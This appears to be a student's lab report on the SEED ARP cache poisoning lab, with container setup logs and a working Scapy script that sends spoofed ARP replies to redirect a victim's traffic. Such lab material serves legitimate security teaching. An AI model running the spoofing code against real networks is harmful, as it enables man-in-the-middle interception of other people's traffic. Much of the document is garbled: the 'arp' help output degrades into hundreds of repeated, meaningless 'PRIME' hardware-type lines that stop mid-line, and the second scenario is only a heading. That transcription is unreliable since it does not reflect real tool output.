

LAB 2 - ARP CACHE POISONING ATTACK LAB

IP addresses identify link-layer addresses, such as MAC addresses, using the Address Resolution Protocol (ARP) in communication. The ARP protocol lacks security protections, rendering it vulnerable to attack via ARP cache poisoning. This approach allows attackers to use bogus IP-to-MAC mappings, exposing the victim to man-in-the-middle attacks if traffic is directed to the device with the forged MAC address.

Lab Setup:

We use the lab setup zip from the seed labs, and we create three containers Attacker, HostA, HostB

```
Lab2 — ubuntu@ip-172-31-22-7: ~ — ssh -i seed-aws.pem ubuntu@18.219.39.23 — 131x43
[(base) venkateshv@Venkateshs-MacBook-Air Lab2 % scp -i seed-aws.pem Labsetup_2.zip ubuntu@18.219.39.23:/home/ubuntu
Labsetup_2.zip                                         100%   10KB 57.0KB/s  00:00
[(base) venkateshv@Venkateshs-MacBook-Air Lab2 % ssh -i seed-aws.pem ubuntu@18.219.39.23
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-1055-aws x86_64)

 * Documentation: https://help.ubuntu.com
 * Management:   https://landscape.canonical.com
 * Support:      https://ubuntu.com/pro

 System information as of Fri Mar  8 01:49:49 UTC 2024

 System load:  0.0          Processes:           100
 Usage of /: 16.0% of 11.45GB  Users logged in:    0
 Memory usage: 25%          IPv4 address for docker0: 172.17.0.1
 Swap usage:   0%          IPv4 address for eth0:   172.31.22.7

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

New release '22.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Mar  8 01:13:36 2024 from 67.21.186.68
ubuntu@ip-172-31-22-7:~$
```

```
Lab2 — ubuntu@ip-172-31-22-7: ~/Labsetup_2 — ssh -i seed-aws.pem ubuntu@18.219.39.23 — 131x43
Fetched 169 kB in 0s (8417 kB/s)
Selecting previously unselected package unzip.
(Reading database ... 62041 files and directories currently installed.)
Preparing to unpack .../unzip_6.0-25ubuntu1.2_amd64.deb ...
Unpacking unzip (6.0-25ubuntu1.2) ...
Setting up unzip (6.0-25ubuntu1.2) ...
Processing triggers for mime-support (3.64ubuntu1) ...
Processing triggers for man-db (2.9.1-1) ...
[ubuntu@ip-172-31-22-7:~$ unzip Labsetup_2
Archive: Labsetup_2.zip
  creating: Labsetup_2/
  inflating: __MACOSX/.Labsetup_2
  inflating: Labsetup_2/.DS_Store
  inflating: __MACOSX/Labsetup_2/._DS_Store
  inflating: Labsetup_2/docker-compose.yml
  inflating: __MACOSX/Labsetup_2/._docker-compose.yml
  creating: Labsetup_2/volumes/
  inflating: __MACOSX/Labsetup_2/._volumes
  inflating: Labsetup_2/volumes/arp_gratuitous.py
  inflating: __MACOSX/Labsetup_2/volumes/.arp_gratuitous.py
  inflating: Labsetup_2/volumes/arp_reply.py
  inflating: __MACOSX/Labsetup_2/volumes/.arp_reply.py
extracting: Labsetup_2/volumes/.gitignore
  inflating: __MACOSX/Labsetup_2/volumes/.gitignore
  inflating: Labsetup_2/volumes/arp_request.py
  inflating: __MACOSX/Labsetup_2/volumes/.arp_request.py
  inflating: Labsetup_2/volumes/mitm_tcp.py
  inflating: __MACOSX/Labsetup_2/volumes/.mitm_tcp.py
  inflating: Labsetup_2/volumes/arp_poisoning_mitm.py
  inflating: __MACOSX/Labsetup_2/volumes/.arp_poisoning_mitm.py
[ubuntu@ip-172-31-22-7:~$ docker-compose build
no configuration file provided: not found
[ubuntu@ip-172-31-22-7:~$ ls
Labsetup_2  Labsetup_2.zip  __MACOSX  snap
[ubuntu@ip-172-31-22-7:~$ cd Labsetup_2/
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ ls
docker-compose.yml  volumes
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ vim docker-compose.yml
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ docker-compose build
[+] Building 0.0s (0/0)
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED            STATUS              PORTS               NAMES
ubuntu@ip-172-31-22-7:~/Labsetup_2$
```

```

Lab2 — ubuntu@ip-172-31-22-7: ~/Labsetup_2 — ssh -i seed-aws.pem ubuntu@18.219.39.23 — 131x43
Labsetup_2 Labsetup_2.zip __MACOSX snap
[ubuntu@ip-172-31-22-7:~$ cd Labsetup_2/
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ ls
docker-compose.yml volumes
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ vim docker-compose.yml
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ docker-compose build
[+] Building 0.0s (0/0)
[+] Building 12/12 docker:default
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ ls
docker-compose.yml volumes
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ docker-compose up
[+] Running 12/12
  ✓ HostA Pulled
  ✓ HostB Pulled
  ✓ HostM 9 layers [██████████]  0B/0B      Pulled
    ✓ da7391352a9b Pull complete   9.8s
    ✓ 14428a6d4bcd Pull complete   9.8s
    ✓ 2c2d948710f2 Pull complete   0.5s
    ✓ b5e99359ad22 Pull complete   0.1s
    ✓ 3d2251ac1552 Pull complete   1.3s
    ✓ 1059cf087055 Pull complete   0.1s
    ✓ b2afee800091 Pull complete   0.5s
    ✓ c2ff2446bab7 Pull complete   1.1s
    ✓ 4c584b5784bd Pull complete   0.8s
  ✓ Network labsetup_2_net-10.9.0.0  Created
  ✓ Container A-10.9.0.5  Created
  ✓ Container B-10.9.0.6  Created
  ✓ Container M-10.9.0.105  Created
  0.3s
  0.4s
  0.4s
  0.4s
Attaching to A-10.9.0.5, B-10.9.0.6, M-10.9.0.105
M-10.9.0.105 | root@e09a5b706c9f:/# 0.3s
B-10.9.0.6 | * Starting internet superserver inetd
A-10.9.0.5 | * Starting internet superserver inetd
B-10.9.0.6 |
A-10.9.0.5 |
B-10.9.0.6 | [ OK ]
A-10.9.0.5 | [ OK ]
A-10.9.0.5 |
B-10.9.0.6 |

```

Ip config of the victim containers

```
Lab2 — ubuntu@ip-172-31-22-7: ~/Labsetup_2 — ssh -i seed-aws.pem u...
Last login: Fri Mar  8 01:59:43 2024 from 67.21.186.68
[ubuntu@ip-172-31-22-7:~$ dcbuild
no configuration file provided: not found
[ubuntu@ip-172-31-22-7:~$ dc build
dc: Could not open file build
[ubuntu@ip-172-31-22-7:~$ ls
Labsetup_2  Labsetup_2.zip  __MACOSX  snap
[ubuntu@ip-172-31-22-7:~$ cd Labsetup_2/
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ dc build
dc: Could not open file build
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ dcbuild
[+] Building 0.0s (0/0)                                            docker:default
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ dockerps
dockerps: command not found
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ docker ps
CONTAINER ID   IMAGE          COMMAND           CREATED        STATUS          PORTS     NAMES
e09a5b706c9f   handsonsecurity/seed-ubuntu:large   "/bin/sh -c /bin/bash"   12 minutes ago   Up 12 minutes   M-10.9.0.105
7b5ca9d08533   handsonsecurity/seed-ubuntu:large   "bash -c '/etc/init..."   12 minutes ago   Up 12 minutes   B-10.9.0.6
057a779cb2dc   handsonsecurity/seed-ubuntu:large   "bash -c '/etc/init..."   12 minutes ago   Up 12 minutes   A-10.9.0.5
[ubuntu@ip-172-31-22-7:~/Labsetup_2$ ]
```

TASK 1 : USING ARP REQUEST

As part of the process, I created an ARP request packet on the attacker machine to map victimB's IP address to the attacker's MAC address. When the packet was ready, I sent it. To achieve this, I executed a Python programme for an ARP request on the attacker system, using the target Mac address and IP address as input.

Modified arp_request_file

--1A ENDS HERE

1B)

I generated an ARP reply packet on the attacker machine to map victimB's IP address to the attacker's MAC address. Subsequently, I forwarded this packet to

victim A, completing the attack. Throughout the process, I looked at two different scenarios: first, where victim B's IP address was already in victim A's cache, and second, where I needed to remove victim B's IP address from A's cache.

Scenario 1:

IP ADDRESS CHANGED HERE

```
GNU nano 4.8                                     arp_reply.py
#!/usr/bin/python3
from scapy.all import *

IP_target      = "10.9.0.5"
MAC_target     = "02:42:0a:09:00:05"

IP_spoofed     = "10.9.0.98"
MAC_spoofed    = "aa:bb:cc:dd:00:11"

print("SENDING SPOOFED ARP REPLY.....")

ether = Ether()
ether.dst = MAC_target
ether.src = MAC_spoofed

arp = ARP()
arp.psrc  = IP_spoofed
arp.hwsrc = MAC_spoofed
arp.pdst  = IP_target
arp.hwdst = MAC_target
arp.op    = 2
frame = ether/arp
sendp(frame)

[ Read 23 lines ]
^G Get Help   ^O Write Out   ^W Where Is   ^K Cut Text   ^J Justify   ^C Cur Pos   M-U Undo
^X Exit       ^R Read File   ^V Replace    ^U Paste Text  ^T To Spell   ^_ Go To Line M-E Redo
```

```
Lab2 - Attacker -- ssh -i seed-aws.pem ubuntu@18.219.39.23 - 11x27
root@ip-172-31-22-7:~$ docksh e0
root@ip-09-89-78c0-9f7a:~# export PS1="Attacker$"
Attacker$ nano arp_request.py
Attacker$ nano arp_request.py
Attacker$ python3 arp_request.py
bash: python3: command not found
Attacker$ python3 arp_request.py
File "arp_request.py", line 1
    GNU nano 4.8
                                arp_request.py

IndentationError: unexpected indent
Attacker$ nano arp_request.py

Use "fg" to return to nano.

[1]+  Stopped                  nano arp_request.py
attacker$ python3 arp_request.py
SENDING SPOOFED ARP REQUEST.....
Attacker$ 
Sent 1 packets.
Attacker$ 
Attacker$ nano arp_reply.py
Attacker$ python3 arp_reply.py
SENDING SPOOFED ARP REPLY.....
Attacker$ 
Sent 1 packets.
Attacker$ 

● ● ● Lab2 - Attacker -- ssh -i seed-aws.pem ubuntu@18.219.39.23 - 11x36
HostA$ nano arp_request.py
HostA$ arp -m
arp: Invalid option -- 'm'
Usage:
  arp [-vN] [-i <interface>] [-s <hostname>]           <-Display ARP cache
  arp [-vN] [-i <interface>] -d <host> [<pub>]          <-Delete ARP entry
  arp [-vN] [-i <interface>] [-s <filename>]            <-Add entry from file
  arp [-vN] [-i <interface>] -s <host> <hwaddr> [<temp>] <-Add entry
  arp [-vN] [-i <interface>] -D <host> <ip> [<netmask> <n>] pub

      -a                         display (all) hosts in alternative (BSD) style
      -d                         display all hosts in default (Linux) style
      -i <interface>              set new ARP interface
      -s <filename>              delete a specified entry
      -v, --verbose               be verbose
      -N, --numeric              don't use names
      -i <device>                specify network interface (e.g. eth0)
      -D, --use-device           read <hwaddr> from given device
      -A, -P, --protocol          specify protocol family
      -f, --file                 read new entries from file or from /etc/ethers

-HwType=hex -Hhw='<hw>' to specify hardware address type. Default: ether
List of possible hardware types (which support ARP):
  1: 0x10000000 (ether)
  2: 0x10000001 (token ring)
  3: 0x10000002 (token bus)
  4: 0x10000003 (FDDI)
  5: 0x10000004 (ARP)
  6: 0x10000005 (IPX)
  7: 0x10000006 (NetBIOS)
  8: 0x10000007 (AMPR NET/ROM)
  9: 0x10000008 (AMPR ROSE) xcrnet (ARChet)
  dici (Frame Relay DCLC) fddi (Fiber Distributed Data Interface) hippi (HIPPI)
  10: 0x10000009 (ATM)
  11: 0x1000000a (LLC)
  12: 0x1000000b (PRIME)
  13: 0x1000000c (PRIME)
  14: 0x1000000d (PRIME)
  15: 0x1000000e (PRIME)
  16: 0x1000000f (PRIME)
  17: 0x10000010 (PRIME)
  18: 0x10000011 (PRIME)
  19: 0x10000012 (PRIME)
  20: 0x10000013 (PRIME)
  21: 0x10000014 (PRIME)
  22: 0x10000015 (PRIME)
  23: 0x10000016 (PRIME)
  24: 0x10000017 (PRIME)
  25: 0x10000018 (PRIME)
  26: 0x10000019 (PRIME)
  27: 0x1000001a (PRIME)
  28: 0x1000001b (PRIME)
  29: 0x1000001c (PRIME)
  30: 0x1000001d (PRIME)
  31: 0x1000001e (PRIME)
  32: 0x1000001f (PRIME)
  33: 0x10000020 (PRIME)
  34: 0x10000021 (PRIME)
  35: 0x10000022 (PRIME)
  36: 0x10000023 (PRIME)
  37: 0x10000024 (PRIME)
  38: 0x10000025 (PRIME)
  39: 0x10000026 (PRIME)
  40: 0x10000027 (PRIME)
  41: 0x10000028 (PRIME)
  42: 0x10000029 (PRIME)
  43: 0x1000002a (PRIME)
  44: 0x1000002b (PRIME)
  45: 0x1000002c (PRIME)
  46: 0x1000002d (PRIME)
  47: 0x1000002e (PRIME)
  48: 0x1000002f (PRIME)
  49: 0x10000030 (PRIME)
  50: 0x10000031 (PRIME)
  51: 0x10000032 (PRIME)
  52: 0x10000033 (PRIME)
  53: 0x10000034 (PRIME)
  54: 0x10000035 (PRIME)
  55: 0x10000036 (PRIME)
  56: 0x10000037 (PRIME)
  57: 0x10000038 (PRIME)
  58: 0x10000039 (PRIME)
  59: 0x1000003a (PRIME)
  60: 0x1000003b (PRIME)
  61: 0x1000003c (PRIME)
  62: 0x1000003d (PRIME)
  63: 0x1000003e (PRIME)
  64: 0x1000003f (PRIME)
  65: 0x10000040 (PRIME)
  66: 0x10000041 (PRIME)
  67: 0x10000042 (PRIME)
  68: 0x10000043 (PRIME)
  69: 0x10000044 (PRIME)
  70: 0x10000045 (PRIME)
  71: 0x10000046 (PRIME)
  72: 0x10000047 (PRIME)
  73: 0x10000048 (PRIME)
  74: 0x10000049 (PRIME)
  75: 0x1000004a (PRIME)
  76: 0x1000004b (PRIME)
  77: 0x1000004c (PRIME)
  78: 0x1000004d (PRIME)
  79: 0x1000004e (PRIME)
  80: 0x1000004f (PRIME)
  81: 0x10000050 (PRIME)
  82: 0x10000051 (PRIME)
  83: 0x10000052 (PRIME)
  84: 0x10000053 (PRIME)
  85: 0x10000054 (PRIME)
  86: 0x10000055 (PRIME)
  87: 0x10000056 (PRIME)
  88: 0x10000057 (PRIME)
  89: 0x10000058 (PRIME)
  90: 0x10000059 (PRIME)
  91: 0x1000005a (PRIME)
  92: 0x1000005b (PRIME)
  93: 0x1000005c (PRIME)
  94: 0x1000005d (PRIME)
  95: 0x1000005e (PRIME)
  96: 0x1000005f (PRIME)
  97: 0x10000060 (PRIME)
  98: 0x10000061 (PRIME)
  99: 0x10000062 (PRIME)
  100: 0x10000063 (PRIME)
  101: 0x10000064 (PRIME)
  102: 0x10000065 (PRIME)
  103: 0x10000066 (PRIME)
  104: 0x10000067 (PRIME)
  105: 0x10000068 (PRIME)
  106: 0x10000069 (PRIME)
  107: 0x1000006a (PRIME)
  108: 0x1000006b (PRIME)
  109: 0x1000006c (PRIME)
  110: 0x1000006d (PRIME)
  111: 0x1000006e (PRIME)
  112: 0x1000006f (PRIME)
  113: 0x10000070 (PRIME)
  114: 0x10000071 (PRIME)
  115: 0x10000072 (PRIME)
  116: 0x10000073 (PRIME)
  117: 0x10000074 (PRIME)
  118: 0x10000075 (PRIME)
  119: 0x10000076 (PRIME)
  120: 0x10000077 (PRIME)
  121: 0x10000078 (PRIME)
  122: 0x10000079 (PRIME)
  123: 0x1000007a (PRIME)
  124: 0x1000007b (PRIME)
  125: 0x1000007c (PRIME)
  126: 0x1000007d (PRIME)
  127: 0x1000007e (PRIME)
  128: 0x1000007f (PRIME)
  129: 0x10000080 (PRIME)
  130: 0x10000081 (PRIME)
  131: 0x10000082 (PRIME)
  132: 0x10000083 (PRIME)
  133: 0x10000084 (PRIME)
  134: 0x10000085 (PRIME)
  135: 0x10000086 (PRIME)
  136: 0x10000087 (PRIME)
  137: 0x10000088 (PRIME)
  138: 0x10000089 (PRIME)
  139: 0x1000008a (PRIME)
  140: 0x1000008b (PRIME)
  141: 0x1000008c (PRIME)
  142: 0x1000008d (PRIME)
  143: 0x1000008e (PRIME)
  144: 0x1000008f (PRIME)
  145: 0x10000090 (PRIME)
  146: 0x10000091 (PRIME)
  147: 0x10000092 (PRIME)
  148: 0x10000093 (PRIME)
  149: 0x10000094 (PRIME)
  150: 0x10000095 (PRIME)
  151: 0x10000096 (PRIME)
  152: 0x10000097 (PRIME)
  153: 0x10000098 (PRIME)
  154: 0x10000099 (PRIME)
  155: 0x1000009a (PRIME)
  156: 0x1000009b (PRIME)
  157: 0x1000009c (PRIME)
  158: 0x1000009d (PRIME)
  159: 0x1000009e (PRIME)
  160: 0x1000009f (PRIME)
  161: 0x10000090 (PRIME)
  162: 0x10000091 (PRIME)
  163: 0x10000092 (PRIME)
  164: 0x10000093 (PRIME)
  165: 0x10000094 (PRIME)
  166: 0x10000095 (PRIME)
  167: 0x10000096 (PRIME)
  168: 0x10000097 (PRIME)
  169: 0x10000098 (PRIME)
  170: 0x10000099 (PRIME)
  171: 0x1000009a (PRIME)
  172: 0x1000009b (PRIME)
  173: 0x1000009c (PRIME)
  174: 0x1000009d (PRIME)
  175: 0x1000009e (PRIME)
  176: 0x1000009f (PRIME)
  177: 0x10000090 (PRIME)
  178: 0x10000091 (PRIME)
  179: 0x10000092 (PRIME)
  180: 0x10000093 (PRIME)
  181: 0x10000094 (PRIME)
  182: 0x10000095 (PRIME)
  183: 0x10000096 (PRIME)
  184: 0x10000097 (PRIME)
  185: 0x10000098 (PRIME)
  186: 0x10000099 (PRIME)
  187: 0x1000009a (PRIME)
  188: 0x1000009b (PRIME)
  189: 0x1000009c (PRIME)
  190: 0x1000009d (PRIME)
  191: 0x1000009e (PRIME)
  192: 0x1000009f (PRIME)
  193: 0x10000090 (PRIME)
  194: 0x10000091 (PRIME)
  195: 0x10000092 (PRIME)
  196: 0x10000093 (PRIME)
  197: 0x10000094 (PRIME)
  198: 0x10000095 (PRIME)
  199: 0x10000096 (PRIME)
  200: 0x10000097 (PRIME)
  201: 0x10000098 (PRIME)
  202: 0x10000099 (PRIME)
  203: 0x1000009a (PRIME)
  204: 0x1000009b (PRIME)
  205: 0x1000009c (PRIME)
  206: 0x1000009d (PRIME)
  207: 0x1000009e (PRIME)
  208: 0x1000009f (PRIME)
  209: 0x10000090 (PRIME)
  210: 0x10000091 (PRIME)
  211: 0x10000092 (PRIME)
  212: 0x10000093 (PRIME)
  213: 0x10000094 (PRIME)
  214: 0x10000095 (PRIME)
  215: 0x10000096 (PRIME)
  216: 0x10000097 (PRIME)
  217: 0x10000098 (PRIME)
  218: 0x10000099 (PRIME)
  219: 0x1000009a (PRIME)
  220: 0x1000009b (PRIME)
  221: 0x1000009c (PRIME)
  222: 0x1000009d (PRIME)
  223: 0x1000009e (PRIME)
  224: 0x1000009f (PRIME)
  225: 0x10000090 (PRIME)
  226: 0x10000091 (PRIME)
  227: 0x10000092 (PRIME)
  228: 0x10000093 (PRIME)
  229: 0x10000094 (PRIME)
  230: 0x10000095 (PRIME)
  231: 0x10000096 (PRIME)
  232: 0x10000097 (PRIME)
  233: 0x10000098 (PRIME)
  234: 0x10000099 (PRIME)
  235: 0x1000009a (PRIME)
  236: 0x1000009b (PRIME)
  237: 0x1000009c (PRIME)
  238: 0x1000009d (PRIME)
  239: 0x1000009e (PRIME)
  240: 0x1000009f (PRIME)
  241: 0x10000090 (PRIME)
  242: 0x10000091 (PRIME)
  243: 0x10000092 (PRIME)
  244: 0x10000093 (PRIME)
  245: 0x10000094 (PRIME)
  246: 0x10000095 (PRIME)
  247: 0x10000096 (PRIME)
  248: 0x10000097 (PRIME)
  249: 0x10000098 (PRIME)
  250: 0x10000099 (PRIME)
  251: 0x1000009a (PRIME)
  252: 0x1000009b (PRIME)
  253: 0x1000009c (PRIME)
  254: 0x1000009d (PRIME)
  255: 0x1000009e (PRIME)
  256: 0x1000009f (PRIME)
  257: 0x10000090 (PRIME)
  258: 0x10000091 (PRIME)
  259: 0x10000092 (PRIME)
  260: 0x10000093 (PRIME)
  261: 0x10000094 (PRIME)
  262: 0x10000095 (PRIME)
  263: 0x10000096 (PRIME)
  264: 0x10000097 (PRIME)
  265: 0x10000098 (PRIME)
  266: 0x10000099 (PRIME)
  267: 0x1000009a (PRIME)
  268: 0x1000009b (PRIME)
  269: 0x1000009c (PRIME)
  270: 0x1000009d (PRIME)
  271: 0x1000009e (PRIME)
  272: 0x1000009f (PRIME)
  273: 0x10000090 (PRIME)
  274: 0x10000091 (PRIME)
  275: 0x10000092 (PRIME)
  276: 0x10000093 (PRIME)
  277: 0x10000094 (PRIME)
  278: 0x10000095 (PRIME)
  279: 0x10000096 (PRIME)
  280: 0x10000097 (PRIME)
  281: 0x10000098 (PRIME)
  282: 0x10000099 (PRIME)
  283: 0x1000009a (PRIME)
  284: 0x1000009b (PRIME)
  285: 0x1000009c (PRIME)
  286: 0x1000009d (PRIME)
  287: 0x1000009e (PRIME)
  288: 0x1000009f (PRIME)
  289: 0x10000090 (PRIME)
  290: 0x10000091 (PRIME)
  291: 0x10000092 (PRIME)
  292: 0x10000093 (PRIME)
  293: 0x10000094 (PRIME)
  294: 0x10000095 (PRIME)
  295: 0x10000096 (PRIME)
  296: 0x10000097 (PRIME)
  297: 0x10000098 (PRIME)
  298: 0x10000099 (PRIME)
  299: 0x1000009a (PRIME)
  300: 0x1000009b (PRIME)
  301: 0x1000009c (PRIME)
  302: 0x1000009d (PRIME)
  303: 0x1000009e (PRIME)
  304: 0x1000009f (PRIME)
  305: 0x10000090 (PRIME)
  306: 0x10000091 (PRIME)
  307: 0x10000092 (PRIME)
  308: 0x10000093 (PRIME)
  309: 0x10000094 (PRIME)
  310: 0x10000095 (PRIME)
  311: 0x10000096 (PRIME)
  312: 0x10000097 (PRIME)
  313: 0x10000098 (PRIME)
  314: 0x10000099 (PRIME)
  315: 0x1000009a (PRIME)
  316: 0x1000009b (PRIME)
  317: 0x1000009c (PRIME)
  318: 0x1000009d (PRIME)
  319: 0x1000009e (PRIME)
  320: 0x1000009f (PRIME)
  321: 0x10000090 (PRIME)
  322: 0x10000091 (PRIME)
  323: 0x10000092 (PRIME)
  324: 0x10000093 (PRIME)
  325: 0x10000094 (PRIME)
  326: 0x10000095 (PRIME)
  327: 0x10000096 (PRIME)
  328: 0x10000097 (PRIME)
  329: 0x10000098 (PRIME)
  330: 0x10000099 (PRIME)
  331: 0x1000009a (PRIME)
  332: 0x1000009b (PRIME)
  333: 0x1000009c (PRIME)
  334: 0x1000009d (PRIME)
  335: 0x1000009e (PRIME)
  336: 0x1000009f (PRIME)
  337: 0x10000090 (PRIME)
  338: 0x10000091 (PRIME)
  339: 0x10000092 (PRIME)
  340: 0x10000093 (PRIME)
  341: 0x10000094 (PRIME)
  342: 0x10000095 (PRIME)
  343: 0x10000096 (PRIME)
  344: 0x10000097 (PRIME)
  345: 0x10000098 (PRIME)
  346: 0x10000099 (PRIME)
  347: 0x1000009a (PRIME)
  348: 0x1000009b (PRIME)
  349: 0x1000009c (PRIME)
  350: 0x1000009d (PRIME)
  351: 0x1000009e (PRIME)
  352: 0x1000009f (PRIME)
  353: 0x10000090 (PRIME)
  354: 0x10000091 (PRIME)
  355: 0x10000092 (PRIME)
  356: 0x10000093 (PRIME)
  357: 0x10000094 (PRIME)
  358: 0x10000095 (PRIME)
  359: 0x10000096 (PRIME)
  360: 0x10000097 (PRIME)
  361: 0x10000098 (PRIME)
  362: 0x10000099 (PRIME)
  363: 0x1000009a (PRIME)
  364: 0x1000009b (PRIME)
  365: 0x1000009c (PRIME)
  366: 0x1000009d (PRIME)
  367: 0x1000009e (PRIME)
  368: 0x1000009f (PRIME)
  369: 0x10000090 (PRIME)
  370: 0x10000091 (PRIME)
  371: 0x10000092 (PRIME)
  372: 0x10000093 (PRIME)
  373: 0x10000094 (PRIME)
  374: 0x10000095 (PRIME)
  375: 0x10000096 (PRIME)
  376: 0x10000097 (PRIME)
  377: 0x10000098 (PRIME)
  378: 0x10000099 (PRIME)
  379: 0x1000009a (PRIME)
  380: 0x1000009b (PRIME)
  381: 0x1000009c (PRIME)
  382: 0x1000009d (PRIME)
  383: 0x1000009e (PRIME)
  384: 0x1000009f (PRIME)
  385: 0x10000090 (PRIME)
  386: 0x10000091 (PRIME)
  387: 0x10000092 (PRIME)
  388: 0x10000093 (PRIME)
  389: 0x10000094 (PRIME)
  390: 0x10000095 (PRIME)
  391: 0x10000096 (PRIME)
  392: 0x10000097 (PRIME)
  393: 0x10000098 (PRIME)
  394: 0x10000099 (PRIME)
  395: 0x1000009a (PRIME)
  396: 0x1000009b (PRIME)
  397: 0x1000009c (PRIME)
  398: 0x1000009d (PRIME)
  399: 0x1000009e (PRIME)
  400: 0x1000009f (PRIME)
  401: 0x10000090 (PRIME)
  402: 0x10000091 (PRIME)
  403: 0x10000092 (PRIME)
  404: 0x10000093 (PRIME)
  405: 0x10000094 (PRIME)
  406: 0x10000095 (PRIME)
  407: 0x10000096 (PRIME)
  408: 0x10000097 (PRIME)
  409: 0x10000098 (PRIME)
  410: 0x10000099 (PRIME)
  411: 0x1000009a (PRIME)
  412: 0x1000009b (PRIME)
  413: 0x1000009c (PRIME)
  414: 0x1000009d (PRIME)
  415: 0x1000009e (PRIME)
  416: 0x1000009f (PRIME)
  417: 0x10000090 (PRIME)
  418: 0x10000091 (PRIME)
  419: 0x10000092 (PRIME)
  420: 0x10000093 (PRIME)
  421: 0x10000094 (PRIME)
  422: 0x10000095 (PRIME)
  423: 0x10000096 (PRIME)
  424: 0x10000097 (PRIME)
  425: 0x10000098 (PRIME)
  426: 0x10000099 (PRIME)
  427: 0x1000009a (PRIME)
  428: 0x1000009b (PRIME)
  429: 0x1000009c (PRIME)
  430: 0x1000009d (PRIME)
  431: 0x1000009e (PRIME)
  432: 0x1000009f (PRIME)
  433: 0x10000090 (PRIME)
  434: 0x10000091 (PRIME)
  435: 0x10000092 (PRIME)
  436: 0x10000093 (PRIME)
  437: 0x10000094 (PRIME)
  438: 0x10000095 (PRIME)
  439: 0x10000096 (PRIME)
  440: 0x10000097 (PRIME)
  441: 0x10000098 (PRIME)
  442: 0x10000099 (PRIME)
  443: 0x1000009a (PRIME)
  444: 0x1000009b (PRIME)
  445: 0x1000009c (PRIME)
  446: 0x1000009d (PRIME)
  447: 0x1000009e (PRIME)
  448: 0x1000009f (PRIME)
  449: 0x10000090 (PRIME)
  450: 0x10000091 (PRIME)
  451: 0x10000092 (PRIME)
  452: 0x10000093 (PRIME)
  453: 0x10000094 (PRIME)
  454: 0x10000095 (PRIME)
  455: 0x10000096 (PRIME)
  456: 0x10000097 (PRIME)
  457: 0x10000098 (PRIME)
  458: 0x10000099 (PRIME)
  459: 0x1000009a (PRIME)
  460: 0x1000009b (PRIME)
  461: 0x1000009c (PRIME)
  462: 0x1000009d (PRIME)
  463: 0x1000009e (PRIME)
  464: 0x1000009f (PRIME)
  465: 0x10000090 (PRIME)
  466: 0x10000091 (PRIME)
  467: 0x10000092 (PRIME)
  468: 0x10000093 (PRIME)
  469: 0x10000094 (PRIME)
  470: 0x10000095 (PRIME)
  471: 0x10000096 (PRIME)
  472: 0x10000097 (PRIME)
  473: 0x10000098 (PRIME)
  474: 0x10000099 (PRIME)
  475: 0x1000009a (PRIME)
  476: 0x1000009b (PRIME)
  477: 0x1000009c (PRIME)
  478: 0x1000009d (PRIME)
  479: 0x1000009e (PRIME)
  480: 0x1000009f (PRIME)
  481: 0x10000090 (PRIME)
  482: 0x10000091 (PRIME)
  483: 0x10000092 (PRIME)
  484: 0x10000093 (PRIME)
  485: 0x10000094 (PRIME)
  486: 0x10000095 (PRIME)
  487: 0x10000096 (PRIME)
  488: 0x10000097 (PRIME)
  489: 0x10000098 (PRIME)
  490: 0x10000099 (PRIME)
  491: 0x1000009a (PRIME)
  492: 0x1000009b (PRIME)
  493: 0x1000009c (PRIME)
  494: 0x1000009d (PRIME)
  495: 0x1000009e (PRIME)
  496: 0x1000009f (PRIME)
  497: 0x10000090 (PRIME)
  498: 0x10000091 (PRIME)
  499: 0x10000092 (PRIME)
  500: 0x10000093 (PRIME)
  501: 0x10000094 (PRIME)
  502: 0x10000095 (PRIME)
  503: 0x10000096 (PRIME)
  504: 0x10000097 (PRIME)
  505: 0x10000098 (PRIME)
  506: 0x10000099 (PRIME)
  507: 0x1000009a (PRIME)
  508: 0x1000009b (PRIME)
  509: 0x1000009c (PRIME)
  510: 0x1000009d (PRIME)
  511: 0x1000009e (PRIME)
  512: 0x1000009f (PRIME)
  513: 0x10000090 (PRIME)
  514: 0x10000091 (PRIME)
  515: 0x10000092 (PRIME)
  516: 0x10000093 (PRIME)
  517: 0x10000094 (PRIME)
  518: 0x10000095 (PRIME)
  519: 0x10000096 (PRIME)
  520: 0x10000097 (PRIME)
  521: 0x10000098 (PRIME)
  522: 0x10000099 (PRIME)
  523: 0x1000009a (PRIME)
  524: 0x1000009b (PRIME)
  525: 0x1000009c (PRIME)
  526: 0x1000009d (PRIME)
  527: 0x1000009e (PRIME)
  528: 0x1000009f (PRIME)
  529: 0x10000090 (PRIME)
  530: 0x10000091 (PRIME)
  531: 0x10000092 (PRIME)
  532: 0x10000093 (PRIME)
  533: 0x10000094 (PRIME)
  534: 0x10000095 (PRIME)
  535: 0x10000096 (PRIME)
  536: 0x10000097 (PRIME)
  537: 0x10000098 (PRIME)
  538: 0x10000099 (PRIME)
  539: 0x1000009a (PRIME)
  540: 0x1000009b (PRIME)
  541: 0x1000009c (PRIME)
  542: 0x1000009d (PRIME)
  543: 0x1000009e (PRIME)
  544: 0x1000009f (PRIME)
  545: 0x10000090 (PRIME)
  546: 0x10000091 (PRIME)
  547: 0x10000092 (PRIME)
  548: 0x10000093 (PRIME)
  549: 0x10000094 (PRIME)
  550: 0x10000095 (PRIME)
  551: 0x10000096 (PRIME)
  552: 0x10000097 (PRIME)
  553: 0x10000098 (PRIME)
  554: 0x10000099 (PRIME)
  555: 0x1000009a (PRIME)
  556: 0x1000009b (PRIME)
  557: 0x1000009c (PRIME)
  558: 0x1000009d (PRIME
```

SCENARIO 2

B IP IS NOT IN A'S CACHE

